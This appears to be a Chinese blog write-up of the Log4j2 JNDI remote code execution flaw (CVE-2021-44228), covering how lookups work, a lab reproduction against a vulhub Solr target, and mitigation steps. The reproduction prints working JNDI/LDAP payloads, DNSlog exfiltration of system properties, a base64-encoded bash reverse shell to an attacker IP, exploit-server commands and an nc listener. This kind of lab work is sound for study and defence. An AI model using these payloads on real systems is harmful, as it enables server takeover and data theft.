log4j2原理分析及漏洞复现CVE-2021-44228

news2024/11/6 3:13:31

文章目录

  • log4j2原理分析及漏洞复现
        • 0x01 log4j2简介
          • Log4j2 特点
          • Log4j2组件的应用
        • 0x02 CVE-2021-44228
          • 漏洞简介:
          • 漏洞适用版本
          • 漏洞原理
            • lookup功能
            • jndi解析器
            • jndi是什么
            • ldap服务
            • RMI
        • 0x03攻击过程
        • 0x04漏洞复现
          • 漏洞环境
          • 1.访问靶机
          • 2.dns回显验证
          • 3.将bash反弹shell命令编码备用
          • 4.使用JNDIExploit进行漏洞利用
          • 5.在攻击机中开启监听
          • 6.使用payload的进行攻击
          • 7.查看回显
        • 0x05漏洞修复

log4j2原理分析及漏洞复现

0x01 log4j2简介

Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本,相比于 Log4j,Log4j2 在性能、可靠性和灵活性方面都有显著的改进。

Log4j2 特点
  1. 高性能:Log4j2 使用异步日志记录机制,可以提供比传统同步日志记录更高的吞吐量和更低的延迟,因此在高负载情况下仍然能够保持出色的性能。
  2. 灵活的配置:Log4j2 的配置文件使用 XML、JSON 或 YAML 格式,允许将日志的格式、目标以及日志级别等属性进行灵活的配置和定制。
  3. 多种输出目标:Log4j2 支持多种日志输出目标,包括控制台、文件、数据库、远程套接字、JMS 和 Apache Flume 等。你可以根据需求配置日志输出到不同的目标。
  4. 强大的过滤器和路由:Log4j2 支持过滤器功能,可以根据日志的级别、源、线程等条件进行过滤,在满足条件时决定是否记录日志。此外,还可以基于日志的特定属性进行路由,将不同的日志记录到不同的目标。
  5. 按需加载插件:Log4j2 使用插件架构,允许按需加载各种附加组件和扩展功能,如自定义输出目标、格式器、过滤器等。这使得 Log4j2 的功能可以根据需要进行扩展和定制。
  6. 上下文容器:Log4j2 提供了 ThreadContext 和 ContextMap 等上下文容器,用于在多线程环境中跟踪和管理日志记录。这对于识别和调试特定线程的日志非常有用。

总体而言,Log4j2 是一个功能强大且灵活的日志记录框架,旨在提供高性能的日志记录解决方案。它被广泛用于各种 Java 应用程序和框架中,帮助开发人员更好地管理和分析应用程序的日志信息。

Log4j2组件的应用

以下是一些使用 Log4j2 组件的中间件和应用程序的常见示例:

  1. Apache Tomcat - Java Web 服务器
  2. Apache Kafka - 分布式流处理平台
  3. Apache ActiveMQ - 开源消息队列系统
  4. Elasticsearch - 分布式搜索和分析引擎
  5. Spring Framework - Java 开发框架
  6. Hibernate ORM - 对象关系映射框架
  7. Apache Camel - 企业集成模式框架
  8. Apache Solr - 开源搜索平台
  9. Apache Druid - 实时分析数据库
  10. Apache NiFi - 数据流处理系统
  11. Apache Flink - 分布式流处理框架
  12. Apache Hadoop - 分布式计算框架
  13. Apache Spark - 分布式大数据处理框架
  14. Apache Storm - 实时流处理框架
  15. Alfresco - 开源企业内容管理系统
  16. Atlassian JIRA - 项目管理和缺陷追踪工具
  17. Jenkins - 持续集成和交付平台
  18. SonarQube - 代码质量管理平台
  19. Liferay - 企业门户和内容管理系统
  20. Graylog - 日志管理和分析平台

0x02 CVE-2021-44228

漏洞简介:

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。

在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用

例如当开发者想在日志中打印今天的日期,则只需要输出 d a t a : M M − d d − y y y y ,此时 l o g 4 j 会将 {data:MM-dd-yyyy},此时log4j会将 data:MMddyyyy,此时log4j会将{}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。

表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。

其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。

漏洞适用版本

2.0 <= Apache log4j2 <= 2.14.1

漏洞原理

Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源 并执行其中的代码,从而造成远程代码执行漏洞。

log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。log4j的功能非常强大,开发人员除了直接记录文本外,还可以使用简单表达式记录动态内容,例如:

logger.info("system propety: ${sys:user.dir}");
lookup功能

Lookup 是一种机制,用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式,可以在日志消息中引用、解析和插入各种上下文相关的信息。

Log4j2 内置了多个 Lookup 实现,每个 Lookup 都有不同的用途和功能。以下是一些常见的 Lookup 类型:

  1. ${date}:获取当前日期和时间,支持自定义格式。
  2. ${pid}:获取当前进程的 ID。
  3. ${logLevel}:获取当前日志记录的级别。
  4. ${sys:propertyName}:获取系统属性的值,例如 ${sys:user.home} 获取用户主目录。
  5. ${env:variableName}:获取环境变量的值,例如 ${env:JAVA_HOME} 获取 Java 安装路径。
  6. ${ctx:key}:获取日志线程上下文(ThreadContext)中指定键的值。
  7. ${class:fullyQualifiedName:methodName}:获取指定类的静态方法的返回值。
  8. ${mdc:key}:获取 MDC (Mapped Diagnostic Context) 中指定键的值。

使用${} 进行包裹,上述示例中,sys:user.dir 表示使用sys解析器,查找user.dir的内容,即在系统环境变量中查找user.dir,以替换 ${sys:user.dir} 进行打印。

log4j中除了sys解析器外,还有很多其他类型的解析器。其中,jndi 解析器就是本次漏洞的源头。

jndi解析器

jndi 解析器将通过 jdk 获取 jndi 对象,并使用这个 jndi 对象替换原有文本进行打印。 我们将 jndi 对象理解成为一个从程序外部获取的 Java 程序对象就可以了。jdk中提供了多种不同 jndi 对象的获取方式,获取方式可以称为schema,所以正常的包含jndi的日志记录方式如下:

logger.info("system propety: ${jndi:schema://url}");

其中,schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。

url是几种不同的schema下jndi的路径。不同的schema,url路径的配置方法不同。常用的schame是ldap,其url写法比较简单:jndi:ldap://xxx.dnslog.cn

jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。

因此,如果攻击者能够控制日志打印的内容,就可以使目标服务器从攻击者指定的任意url地址下载代码字节流,攻击者在字节流中附带的代码就会在目标服务器上执行。

攻击者如何控制服务器上记录的日志内容呢?

大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。

jndi是什么

JNDI(Java Naming and Directory Interface,JAVA命名和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI下面有很 多目录接口,用于不同的数据源的查找引用。

JNDI注入主要是用下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

ldap服务

LDAP(轻型目录访问协议)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问 控制和维护分布式信息的目录信息。

目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈 树状结构组织数据,就好象Linux/Unix系统中的文件目录一样

RMI

​ RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机 的对象的方法。

0x03攻击过程

log4j2 远程代码执行漏洞大致过程(此处使用RMI,LDAP同理): 假设有一个Java程序,将用户名信息到了日志中,如下:

image-20230908103511778

a. 攻击者发送一个HTTP请求,其用户名为${jndi://rmi:服务器地址/Exploit}

b. 被攻击服务器发现要输出的信息中有 ${},则其中的内容要单独处理,进一步解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。

c. RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端 文件下载服务器上含有恶意代码的class文件。

d. 被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。

e. 被攻击服务器下载恶意class文件并执行其中的恶意代码

LDAP
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中

a. 假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}

b. 被攻击服务器发现要输出的信息中有 ${},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp

c. 解析到ldap,就会去192.168.61.129:1099的ldap服务找名为exp的资源,如果找不到就会去http服务中找,在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害

0x04漏洞复现

漏洞环境

靶机:kali 192.168.100.134 vulhub/log4j/CVE-2021-44228

image-20230908111422588

攻击机:windows 10 192.168.100.143

或者本地物理机

新版本exp工具地址:
link1

老版本exp工具地址:
link2

1.访问靶机

靶机ip:8983

image-20230908111222097

2.dns回显验证

在注入点插入Payload

/solr/admin/cores?action=${jndi:ldap://vbdpkn.ceye.io}

image-20230917110150137

查看cecy是否返回数据

image-20230908111139848

查看java版本

${jndi:ldap://${sys:java.version}.vbdpkn.ceye.io}
${jndi:rmi://${sys:java.version}.vbdpkn.ceye.io}
${jndi:ldap://DNSlog地址/exp} //DNSolg地址

成功通过dnslog带了出来,对应的java版本

image-20230917110429716

3.将bash反弹shell命令编码备用

bash 命令反弹shell

bash -i >& /dev/tcp/192.168.100.143/8888 0>&1
  • bash: 启动一个 Bash shell。
  • -i: 打开一个交互式 shell 会话,允许用户输入命令和获取输出。
  • >& /dev/tcp/192.168.100.143/8888: 将标准输出和标准错误输出重定向到指定的 IP 地址为 192.168.100.143、端口号为 `8888 ’ TCP 连接。换句话说,它将尝试建立一个与该 IP 地址和端口号连接的网络套接字,并将输出发送到该连接。
  • 0>&1: 将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1),意味着输入和输出都将通过网络套接字进行传输。

base64编码:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx
4.使用JNDIExploit进行漏洞利用

将上面base64编码后的bash命令填入指定位置

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i}" -A "攻击机IP"

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.100.143"

image-20230908111110779

5.在攻击机中开启监听
nc -lvvp 8888
6.使用payload的进行攻击
http://192.168.100.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.100.143:1389/isimox}

//将工具生成的JNDI链接服务放到url里面进行执行
7.查看回显

image-20230908111049235

反弹shell成功;

新版本工具使用:

其他基本操作,通过DNSlog判断回显同以上一致

可查看帮助:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -h

image-20230917110816580

首先开启LDAP和HTTP服务:

java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i 192.168.100.1 //攻击者IP

//可通过加参数来修改LDAP和HTTP服务的端口,具体参考--help帮助

image-20230917110926776

java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i 192.168.100.1 -u 
//查看用法

image-20230917111624682

选择上面的任意一个ldap服务:
比如:
ldap://192.168.100.1:1389/Basic/ReverseShell/[ip]/[port]
构造:
ldap://192.168.100.1:1389/Basic/ReverseShell/192.168.100.1/8888
//攻击ip和监听端口

本地开启监听:

image-20230917111922418

将构造的内容填入到${jndi:}当中,执行url

image-20230917112015959

点击执行后,开启的LDAP和HTTP服务的监听端会返回信息:

image-20230917112132529

再看本地监听的端口返回:

成功反弹shell

image-20230917112254775

0x05漏洞修复

  • 更新log4j至 rc2
  • 配置防火墙策略,禁止主动连接外网设备
  • 升级受影响的应用及组件
  • 过滤相关的关键词,比如${jndi://*}
  • 限制JNDI默认可以使用的协议
  • 限制可以通过LDAP访问的服务器和类

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1025014.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

职业观察|02:铁路维修师

高铁及地铁的发展&#xff0c;新生了许多之前没有的职位和专业。除了空乘/铁乘、安检人员等&#xff0c;大家可能相对熟悉。背后的维系工作人员其实也是一群更庞大的从业人员。本次主要介绍“铁路机务”。以下由一位铁路机务小哥讲述。 首先简单介绍一下铁路系统&#xff08;包…

准备我们心爱的IDEA写Jsp

JSP学习 一、准备我们心爱的IDEA new一个项目&#xff1a;New Project --> Next -->Next -->Finsh 二、配置好服务器Tomcat-9.0.30 1.> 在WEB-INF下创建一个Lib包 将jsp-api.jar复制进去&#xff0c;并使其生效 未生效前&#xff1a; 生效过程&#xff1a; 2.>…

VLAN相关知识点

文章目录 前言VLANVLAN数据帧格式QinQ报文封装格式总结 前言 本博客仅做学习笔记&#xff0c;如有侵权&#xff0c;联系后即刻更改 科普&#xff1a; 参考网址 VLAN VLAN&#xff08;Virtual Local Area Network&#xff09;即虚拟局域网 是将一个物理的LAN在逻辑上划分成多…

Filebeat+Kafka+ELK搭建

---------------- FilebeatKafkaELK ---------------- 1.部署 ZookeeperKafka 集群 &#xff08;前面已经配过 20.0.0.101、20.0.0.102、20.0.0.103&#xff09; https://blog.csdn.net/m0_56509725/article/details/132908696?spm1001.2014.3001.55011.1 配置ELK 在&#xf…

阿里云负载均衡配置只能域名访问

1.选择虚拟服务器组》创建虚拟服务器组 2.点击创建虚拟服务器组》输入虚拟服务器组名称&#xff0c;注意&#xff1a;不要添加服务器&#xff0c;直接点击创建 3.在点击创建虚拟服务器组》输入虚拟服务器组名称》添加服务器&#xff08;后端服务器&#xff09;》创建 1.添加监…

WhatsOnChain中的sCrypt合约验证插件

我们很高兴地宣布在 WhatsOnChain 上集成了 sCrypt 智能合约验证插件。该插件允许任何人为已部署的智能合约提交和验证 sCrypt 代码。 智能合约验证 在与智能合约交互之前&#xff0c;用户需要确保智能合约按照其声称的方式行事。理论上&#xff0c;每个人都可以查看合约并验…

脸鉴AI开放平台:轻松上手的人工智能算法

序言 一、提升开发效率工具 1.1封装view窗口 1.2封装常用功能接口 1.3提供基础接口代码块 二、使用介绍 2.1 注册&登录 2.2 新建应用 2.3 下载应用 2.4 安装包介绍 2.5 demo项目 2.6 配置demo 2.7 运行demo 三、使用结果 3.1 摄像头采集人脸添加模板 3.2 实时画面1:N人脸检…

出现 conda虚拟环境默认放在C盘 解决方法

目录 1. 问题所示2. 原理分析3. 解决方法3.1 方法一3.2 方法二1. 问题所示 通过conda配置虚拟环境的时候,由于安装在D盘下,但是配置的环境默认都给我放C盘 通过如下命令:conda env list,最后查看该环境的确在C盘下 2. 原理分析 究其根本原因,这是因为默认路径没有足够的…

c#用Gnuplot画图源码

直接调用这个类即可&#xff0c;需要下载个GnuPlot安装下。 // Author: Leonardo Tazziniusing System; using System.Diagnostics; using System.Drawing; using System.IO; using System.Windows.Forms;/// <summary> /// Tested with Gnuplot 5.2 /// </summary&g…

【Unity实战】从零手戳一个库存背包系统

文章目录 前言素材开始一、绘制背包UI二、背包开启关闭三、初始化背包网格四、 添加物品五、 拖拽交换功能物品六、 物品拆分七、 物品堆叠八、 拖拽还原九、 引入字典存储数据十、 拾取物品十一、 丢弃物品 最终效果源码完结 前言 库存背包系统是大多数游戏的关键部分&#x…

富金通管理U盾不轻松,用了USB Server如沐清风

富金通网络科技服务有限公司是一家专注于金融科技服务的公司&#xff0c;因为拥有多个银行账户&#xff0c;也就有了U盾数量过多、管理极为不便的问题&#xff0c;具体表现为易丢失、易损坏、操作繁琐、需要插拔、不便携带、威胁金融安全等。 近期&#xff0c;朝天椒USB Serve…

【TCP】确认应答 与 超时重传

确认应答 与 超时重传 一. 确认应答机制二. 超时重传机制 一. 确认应答机制 确认应答: 保障可靠传输的核心机制。 可靠传输: 不是指传输过去的数据不出错, 也不是指数据一定能传输过去&#xff0c;而是指发送方能够知道接收方是否接收到了数据。确认应答的关键就是接收方收到数…

java:asm实现ResultSet结果映射到实体类

java&#xff1a;asm实现ResultSet结果映射到实体类 1 前言 Spring-core包中提供了许多方便的工具类&#xff0c;其中org.springframework.cglib.beans下的BeanCopier工具类&#xff0c;主要用于bean之间的属性拷贝&#xff0c;性能上优于Spring-beans包下的org.springframew…

面试官:你了解Axios的原理吗?有看过它的源码吗?

&#x1f3ac; 岸边的风&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 一、axios的使用 二、实现一个简易版axios 三、源码分析 小结 一、axios的使用 关于axios的基本使用&#xff0…

暨南大学旅游管理《乡村振兴战略下传统村落文化旅游设计》校友许少辉—2023学生开学季辉少许

暨南大学旅游管理《乡村振兴战略下传统村落文化旅游设计》校友许少辉——2023学生开学季辉少许

软文发布是推动企业发展的无形动力 | 媒介启航

同样是销售产品&#xff0c;为什么以故事的形式呈现要比直接讲产品功效更易让消费者认同和销售呢&#xff1f;这就是软文的魅力&#xff0c;它极好的运用了人作为情感动物的喜好。因此&#xff0c;各大小企业纷纷做软文&#xff0c;比如溯源啊、初心啊、情怀啊、创业经历啊等等…

Java集成微信支付实现企业付款到零钱和商家转账到零钱的功能

Java集成微信支付实现企业付款到零钱和商家转账到零钱的功能 文章目录 [toc] 1.企业付款到零钱和商家转账到零钱的区别1.1 申请要求不同1.2 API接口不同1.3 用户收款限制1.4 商户付款额度1.5 派发方式不同1.6 打款方式不同 2.集成实现2.1 v2版本集成2.2 依赖2.3 配置2.3.1 naco…

java多线程学习笔记一

一、线程的概述 1.1 线程的相关概念 1.1.1 进程&#xff08;Process&#xff09; 进程&#xff08;Process&#xff09;是计算机的程序关于某数据集合上的一次运行活动&#xff0c;是操作系统进行资源分配与调度的基本单位。 可以把进程简单的理解为操作系统中正在有运行的一…

插入排序代码及时间空间复杂度

插入排序&#xff08;Insertion Sort&#xff09;是一种简单的排序算法&#xff0c;它将一个数组分成已排序和未排序两部分&#xff0c;然后逐步将未排序部分的元素插入已排序部分的正确位置。以下是插入排序的代码示例以及时间和空间复杂度分析&#xff0c;希望对大家有所帮助…

Markdown 文档标题序号重排版(WebUI Tool)

Markdown 标题重编号 1. 项目背景 在日常写 Markdown 时&#xff0c;我们可能会遇到这样的情况&#xff1a; 文档的迁移与整合&#xff1a;在迁移或整合文档时&#xff0c;可能会让原本的标题编号混乱文档的重构&#xff1a;在重构文档时&#xff0c;例如仅仅修改了一处标题&…